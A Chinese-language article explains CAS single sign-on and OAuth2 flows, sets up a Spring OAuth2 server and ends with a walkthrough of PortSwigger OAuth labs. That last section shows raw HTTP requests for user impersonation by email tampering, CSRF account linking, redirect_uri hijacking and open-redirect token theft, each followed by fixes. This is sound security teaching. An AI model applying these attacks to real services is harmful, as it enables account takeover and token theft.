单点登录SSO(Single Sign ON),指在多个应用系统中,只需登录一次,即可在多个应用系统之间共享登录。如:在学校登录了OA系统,再打开科研、教务系统,都会实现自动登录。
统一身份认证CAS(Central Authentication Service)是SSO的开源实现,利用CAS实现SSO可以很大程度的降低开发和维护的成本。PS:CAS是由耶鲁大学发起的企业级开源项目,历经20多年的完善,具有较高的稳定性、安全性。国内多数高校的SSO都基于CAS。
CAS由CAS Server和CAS Client两部分组成。
1. CAS Server:单点验证服务器。以北师大为例,其CAS Server为cas.bnu.edu.cn
2. CAS Client:共享CAS Server登录态的客户端。如:人事系统(rs.bnu.edu.cn)、研究生系统(graduate.bnu.edu.cn)、科研系统(kygl.bnu.edu.cn)
CAS三个重要术语:TGT(Ticket Granting Ticket)、TGC(Ticket Granting Cookie)和ST(Service Ticket)。
1. TGT为用户登录后生成的票根,包含用户的认证身份、有效期等,存储于CAS Server中,类似于服务器会话。
2. TGC存储于cookie中,类似于会话ID,用户与CAS Server交互时,帮助用户查找相应的TGT。
3. ST为CAS Server签发的一张一次性票据,CAS Client使用ST与CAS Server进行交互,获取用户的验证状态。
CAS单点登录的完成流程如下:
1. 用户通过浏览器访问CAS Client的某个界面,如访问研究生管理信息系统(graduate.bnu.edu.cn)。
2. 当CAS Client判断用户需要进行身份认证时,携带service返回302状态码,指示浏览器重定向到CAS Server,如:https://cas.bnu.edu.cn?service=https://graduate.bnu.edu.cn。service指向用户原访问的页面。
3. 浏览器携service重定向到CAS Server。
4. CAS Server获取并校验用户cookie中携带的TGC,若成功则身份认证成功;否则将用户重定向到CAS Server提供的登录页,如:https://cas.bnu.edu.cn/login?service=https://graduate.bnu.edu.cn,由用户输入用户名、密码,再完成身份认证。
5. 若用户之前登录过系统,那么CAS Server可以获取用户的TGC,根据TGC获取TGT。若首次登录,则CAS Server会首先生成TGT。每次验证,CAS Server根据TGT签发一个ST,然后把ST拼接到service中,同时将相应TGC设置到用户cookie中(域为 CAS Server),并返回302状态码,指示浏览器重定向到service,如:https://graduate.bnu.edu.cn?ticket=xxxxxxxxxxxx
6. 浏览器存储TGC,并携带ST重定向到service。
7. CAS Client取得ST(即请求参数的ticket)后,会向CAS Server请求验证该ST的有效性。
8. 若CAS Server验证该ST有效,就告知CASClient该用户有效,并返回该用户信息。如工号、学号。CAS Client获取用户信息后,可以使用session的形式管理用户会话。后续的交互请求无需再重定向到CAS Server,CAS Client直接返回用户请求的资源即可。
CAS Client获取用户信息后,可以使用session的形式管理用户会话。后续的交互请求无需再重定向到CAS Server,CAS Client直接返回用户请求的资源即可。
--- 转自 实战:画了几张图,终于把OAuth2搞清楚了 (qq.com)https://mp.weixin.qq.com/s?__biz=MzkzODE3OTI0Ng==&mid=2247509248&idx=1&sn=07bafa12d5a94e4c3fd391b0242843db&chksm=c286cac1f5f143d7eaa1c12da4c748f1d61fd3488e81a51cd663285a5071dcea54a559d46e48#rd
OAuth
是一个关于授权(authorization
)的开放网络标准,用来授权第三方应用获取用户数据,是目前最流行的授权机制,它当前的版本是2.0。
假如你正在“网站A”上冲浪,看到一篇帖子表示非常喜欢,当你情不自禁的想要点赞时,它会提示你进行登录操作。
打开登录页面你会发现,除了最简单的账户密码登录外,还为我们提供了微博、微信、QQ等快捷登录方式。假设选择了快捷登录,它会提示我们扫码或者输入账号密码进行登录。
登录成功之后便会将QQ/微信的昵称和头像等信息回填到“网站A”中,此时你就可以进行点赞操作了。
在详细讲解oauth2
之前,我们先来了解一下它里边用到的名词定义吧:
Client:客户端,它本身不会存储用户快捷登录的账号和密码,只是通过资源拥有者的授权去请求资源服务器的资源,即例子中的网站A;
Resource Owner:资源拥有者,通常是用户,即例子中拥有QQ/微信账号的用户;
Authorization Server:认证服务器,可以提供身份认证和用户授权的服务器,即给客户端颁发token
和校验token
;
Resource Server:资源服务器,存储用户资源的服务器,即例子中的QQ/微信存储的用户信息。
如图是oauth2
官网的认证流程图,我们来分析一下:
A客户端向资源拥有者发送授权申请;
B资源拥有者同意客户端的授权,返回授权码;
C客户端使用授权码向认证服务器申请令牌token
;
D认证服务器对客户端进行身份校验,认证通过后发放令牌;
E客户端拿着认证服务器颁发的令牌去资源服务器请求资源;
F资源服务器校验令牌的有效性,返回给客户端资源信息;
在正式开始搭建项目之前我们先来做一些准备工作:要想使用oauth2
的服务,我们得先创建几张表。
oauth2
相关的建表语句可以参考官方初始化sql
至于表结构,大家可以先大体了解下,其中字段的含义,在init.sql文件中阿Q已经做了说明。
oauth_client_details:存储客户端的配置信息,操作该表的类主要是JdbcClientDetailsService.java
;
oauth_access_token:存储生成的令牌信息,操作该表的类主要是JdbcTokenStore.java
;
oauth_client_token:在客户端系统中存储从服务端获取的令牌数据,操作该表的类主要是JdbcClientDetailsService.java
;
oauth_code:存储授权码信息与认证信息,即只有grant_type
为authorization_code
时,该表才会有数据,操作该表的类主要是JdbcAuthorizationCodeServices.java
;
oauth_approvals:存储用户的授权信息;
oauth_refresh_token:存储刷新令牌的refresh_token
,如果客户端的grant_type
不支持refresh_token
,那么不会用到这张表,操作该表的类主要是JdbcTokenStore
在oauth_client_details
表中添加一条数据
数据库中对密码进行了加密处理,大家可以在此路径下自行生成
用户角色相关的表也在init.sql文件中,表结构非常简单,大家自行查阅。我的初始化数据为
依赖引入
配置文件对服务端口、应用名称、数据库、mybatis
和日志进行了配置。
写了一个简单的控制层代码,用来模拟资源访问
接着创建配置类继承ResourceServerConfigurerAdapter
并增加@EnableResourceServer
注解开启资源服务,重写两个configure
方法
当然我们也可以配置忽略校验的url
,在上边的public void configure(HttpSecurity http) throws Exception
中进行配置
因为我们是需要进行校验的,所以我把对应的代码给注释掉了
然后将实现了UserDetails
的SysUser
和实现了GrantedAuthority
的SysRole
放到项目中,当请求发过来时,oauth2
会帮我们自行校验。
配置文件对服务端口、应用名称、数据库、mybatis
和日志进行了配置。
Security配置
还是和之前Security+JWT组合拳的配置大同小异,不了解的可以先看下该文。
①将继承了UserDetailsService
的ISysUserService
的实现类SysUserServiceImpl
重写loadUserByUsername
方法
②继承WebSecurityConfigurerAdapter
类,增加@EnableWebSecurity
注解并重写方法
AuthorizationServer配置
①继承AuthorizationServerConfigurerAdapter
类,增加@EnableAuthorizationServer
注解开启认证服务
②依赖注入,注入7个实例Bean
对象
③重写方法进行配置
其它关于用户表和权限表的代码可参考源码。
我们前边所讲的内容都是基于授权码模式,授权码模式被称为最安全的一种模式,它获取令牌的操作是在两个服务端进行的,极大的减小了令牌泄漏的风险。
启动两个服务,当我们再次请求127.0.0.1:9002/product/findAll
接口时会提示以下错误
①调用接口获取授权码
发送127.0.0.1:9001/oauth/authorize?response_type=code&client_id=cheetah_one
请求,前边的路径是固定形式的,response_type=code
表示获取授权码,client_id=cheetah_one
表示客户端的名称是我们数据库配置的数据。
该页面是oauth2
的默认页面,输入用户的账户密码点击登录会提示我们进行授权,这是数据库oauth_client_details
表我们设置autoapprove
为false
起到的效果。
选择Approve
点击Authorize
按钮,会发现我们设置的回调地址(oauth_client_details
表中的web_server_redirect_uri
)后边拼接了code
值,该值就是授权码。
查看数据库发现oauth_approvals
和oauth_code
表已经存入数据了。
拿着授权码去获取token
获取到token
之后oauth_access_token
和oauth_refresh_token
表中会存入数据以用于后边的认证。而oauth_code
表中的数据被清除了,这是因为code
值是直接暴漏在网页链接上的,oauth2
为了防止他人拿到code
非法请求而特意设置为仅用一次。
拿着获取到的token
去请求资源服务的接口,此时有两种请求方式
接下来我们再来看一下oauth2
的其它模式。
所谓简化模式是针对授权码模式进行的简化,它将授权码模式中获取授权码的步骤省略了,直接去请求获取token
。
流程:发送请求127.0.0.1:9001/oauth/authorize?response_type=token&client_id=cheetah_one
跳转到登录页进行登录,response_type=token
表示获取token
。
输入账号密码登录之后会直接在浏览器返回token
,我们就可以像授权码方式一样携带token
去请求资源了。
该模式的弊端就是token
直接暴漏在浏览器中,非常不安全,不建议使用。
密码模式下,用户需要将账户和密码提供给客户端向认证服务器申请令牌,所以该种模式需要用户高度信任客户端。
流程:请求如下
获取成功之后可以去访问资源了。
客户端模式已经不太属于oauth2
的范畴了,用户直接在客户端进行注册,然后客户端去认证服务器获取令牌时不需要携带用户信息,完全脱离了用户,也就不存在授权问题了。
发送请求如下
获取成功之后可以去访问资源了。
除了我们在数据库中为客户端配置资源服务外,我们还可以动态的给用户分配接口的权限。
①开启Security
内置的动态配置
在开启资源服务时给ResourceServerConfig
类增加注解@EnableGlobalMethodSecurity(securedEnabled = true,prePostEnabled = true)
②给接口增加权限
③在用户登录时设置用户权限
然后测试会发现可以正常访问。
当我在创建项目的时候,给product
和server
两个模块设置了不同的包名,导致发送请求获取资源时报错。
经过分析得知,在登录账号时会将用户的信息存储到oauth_access_token
表的authentication
中,在进行token
校验时会根据token_id
取出该字段进行反序列化,如果此时发现包名不一致便会导致解析token
失败,因此请求资源失败。
解决思路
两个项目的包名改为一致;
可以将用户和权限的实体抽成单独的模块,供其它模块引用;
loadUserByUsername
方法中使用的用户实体类不需要继承UserDetailsService
类,每次返回时用user
类包装一下即可;
当我在进行权限校验测试时,在设置权限时发现少打了一个单词,导致请求一直出错。修改完成之后继续请求,仍提示权限不足。
于是我将数据库中oauth_refresh_token
和oauth_access_token
的数据清除,重新开始测试就可以了。
个人认为是生成token
时发现数据库中token
存在,故不刷新token
,但进行校验时却用带有权限标识的token
前去校验导致失败。
至于其它的小坑在这不再赘述,如果遇到问题,建议按照流程对比我的源码仔细检查。
源代码在这里:
链接:https://pan.baidu.com/s/1FKT_DalYmyIPGrCJzwDPMQ
提取码:59lf
本文从原理、应用场景、认证流程出发,对oauth2
进行了基本的讲解,并且手把手带大家完成了项目的搭建。大家在对授权码模式、简化模式、密码模式、客户端模式进行测试的同时要将重点放到授权码模式上。
1、CAS的单点登录时保障客户端的用户资源的安全 。
OAuth2则是保障服务端的用户资源的安全 。
2、CAS客户端要获取的最终信息是,这个用户到底有没有权限访问我(CAS客户端)的资源。
OAuth2获取的最终信息是,我(oauth2服务提供方)的用户的资源到底能不能让你(oauth2的客户端)访问。
3、CAS的单点登录,资源都在客户端这边,不在CAS的服务器那一方。 用户在给CAS服务端提供了用户名密码后,作为CAS客户端并不知道这件事。 随便给客户端个ST(Service Ticket),那么客户端是不能确定这个ST是用户伪造还是真的有效,所以要拿着这个ST去服务端再问一下,这个用户给我的是有效的ST还是无效的ST,是有效的我才能让这个用户访问。
OAuth2认证,资源都在OAuth2服务提供者那一方,客户端是想索取用户的资源。 所以在最安全的模式下,用户授权之后,服务端并不能直接返回token,通过重定向送给客户端,因为这个token有可能被黑客截获,如果黑客截获了这个token,那用户的资源也就暴露在这个黑客之下了。 于是聪明的服务端发送了一个认证code给客户端(通过重定向),客户端在后台,通过https的方式,用这个code,以及另一串客户端和服务端预先商量好的密码,才能获取到token和刷新token,这个过程是非常安全的。 如果黑客截获了code,他没有那串预先商量好的密码,他也是无法获取token的。这样oauth2就能保证请求资源这件事,是用户同意的,客户端也是被认可的,可以放心的把资源发给这个客户端了。
4、小结:cas登录和OAuth2在流程上的最大区别就是,通过ST或者code去认证的时候,需不需要预先商量好的密码。
完成正常登录,获取第三方资源,假设获取第三方资源,通过一个用户的邮箱、用户ID来标识,但是第三方资源授权处没有很好的进行认证,则可以修改成其他用户的邮箱、ID,来获取其他用户的信息。具体步骤如下所示(只选取关键的请求报文演示过程):
1、重定向报文中,可以看到,使用的response_type为token,也就是implicit模式
GET /auth?client_id=aa5n3gw356du1ltuk7cxk&redirect_uri=https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback&response_type=token&nonce=1089005696&scope=openid%20profile%20email HTTP/1.1
Host: ac2c1f1c1ee989d280ae055902300066.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2. 完成认证过程,响应报文中返回access token,并重定向到client app
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=r3YiTute_9gkHb1KEVRf2; path=/interaction/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=r3YiTute_9gkHb1KEVRf2; path=/auth/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; secure; httponly
Location: /interaction/r3YiTute_9gkHb1KEVRf2
Content-Type: text/html; charset=utf-8
Date: Thu, 24 Jun 2021 01:37:43 GMT
Connection: close
Content-Length: 99
Redirecting to /interaction/r3YiTute_9gkHb1KEVRf2.
完成正常登录流程后,用户wiener成功登录。
3.分析资源请求报文,用户携带access token以及当前用户的邮箱向client app resource server获取资源,此时resource server存在认证缺陷,只通过邮箱信息来认证用户,就可以通过篡改邮箱的方式来获取其他用户的信息。
POST /authenticate HTTP/1.1
Host: ac971f231ef0890a8024057c00490099.web-security-academy.net
Connection: close
Content-Length: 111
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json
Origin: https://ac971f231ef0890a8024057c00490099.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=OljMk8cU2eUQrGgpijmnO9GrJYuJ6AfC
{"email":"[email protected]","username":"wiener","token":"HjjzNFAiUeBUiMlHxBQjBFJZ-RwpDtv_bc7rZV46L_o"}
将此请求在原始的session中进行重放,可以发现成功以其他用户登录。
该安全问题结合CSRF利用姿势,将自己的第三方账号信息和受害者的client app账号进行关联,导致可以用非法的第三方账号,登录受害者client app账号,此攻击发生在authorization code 授权模式中,其步骤如下所示(只选取关键的请求报文演示漏洞危害):
1、执行正常登录的流程,直到步获取到一个带auth code的url(在实验环境中是/oauth-linking?code=[...])截取这个url,终止下一步的请求访问,在此步骤中将获取到一个有效的auth code,如下请求所示,获取到了一个有效的auth code
GET /oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz HTTP/1.1
Host: acab1ff81ebb348a800210f9001a0020.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=SayAHJbeFtbILtd7TzktpTA3NyIFJ5Qy
2、构造一个CSRF报文,其中的url使用上一步的url(注意需要保证上一步的auth code没有被使用,且没有过期)
3、将这个请求发送给受害者,受害者请求该链接后,会接着第一步进行未完成OAuth flow流程,从而将受害者的账号和非法账号进行关联。
修复方案:
在client app的重定向请求中/auth?clientid=[]redirect_url=[] 添加state参数,在用户向client app提交auth code响应的请求中同样带上之前的state参数,此时client app验证state参数的一致性,从而防止了此类攻击。
该方式也需要借助CSRF来实现。截取步骤一中的重定向请求url,修改redirect_url为恶意服务器url。构造CSRF EXP,EXP中的其中url为上一步的构造的url,欺骗受害者点击该EXP,当受害者在登录状态,发送该请求后,会在恶意服务器获取到redirect_url携带的token。步骤如下所示(只选取关键的请求报文演示漏洞危害):
1、正常登录应用,截取重定向请求url,其中的redirect_url是关键参数,在下一步响应中,会重定向至该链接并携带auth token
GET /auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: acde1f8f1ec589b080151c8d0284009b.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _session=YjUnuiZgMyzGo5tBcVTSh; _session.legacy=YjUnuiZgMyzGo5tBcVTSh
2、修改redirect_url为非法的url,并构造EXP,这里修改url为攻击者部署恶意url。
3、发送构造的EXP给受害者,通过access log观察结果,可以看到成功获取到了受害者的auth token。
修复方案:在认证服务器上对redirect_url进行校验 但是也有一些方法可以进行绕过:比如参数污染、ssrf漏洞中的urlbypass思路、或者注册这样的localhost.evil-user.net
域名
继续通过redirect_url获取auth code的场景,但是在认证服务器上对redirect_url进行了校验,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,结合CSRF的利用姿势可以达到获取auth code的目的。
步骤如下所示(只选取关键的请求报文演示漏洞危害): 1、寻找open redirect漏洞 在client app找到这样一个url,是存在open redirect漏洞的。
https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/post/next?path=
在参数path后接任意的url,都可以重定向至该url,因此可以利用该方式来延续上一节的方式。 2、构造URL,和上一节一样,寻找重定向认证请求的url,重新设置redirect url参数,url如下所示
https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email
3、构造EXP
4、检查access log,可以获取到auth code。
修复方案:
在authorization code 模式中,可以设计认证服务器对第一次认证请求提交的redirect_url参数,同时要求通过auth code获取access token的步骤中,同时提交redirect url,由于此时的通信过程是服务端到服务端的,攻击者无法伪造,认证服务器再将url和初始的收到redirect url进行比对,就保证了该攻击无法进行。
防御OAuth2.0漏洞,需要从client和Authorization Server两方面入手,无论是什么授权模式,均有可能通过client端或Authorization Server实施不当引起安全漏洞。因此在设计上,需要开发者严格实施OAuth2.0 安全功能模块。
5.1 Authorization Server防御总结
使用白名单验证redirect_url参数
验证是否使用state参数
验证access token和client_id是否匹配,同时在资源请求中同时验证access token的访问范围
5.2 client 端防御总结
使用state参数
修复client端的开放重定向漏洞,防止在Referer头中泄露auth code
同时向/token 和 /authorization 端发送redirect_uri参数
参考文献:
1、https://portswigger.net/web-security/oauth/preventing
2、http://oauth.net/2/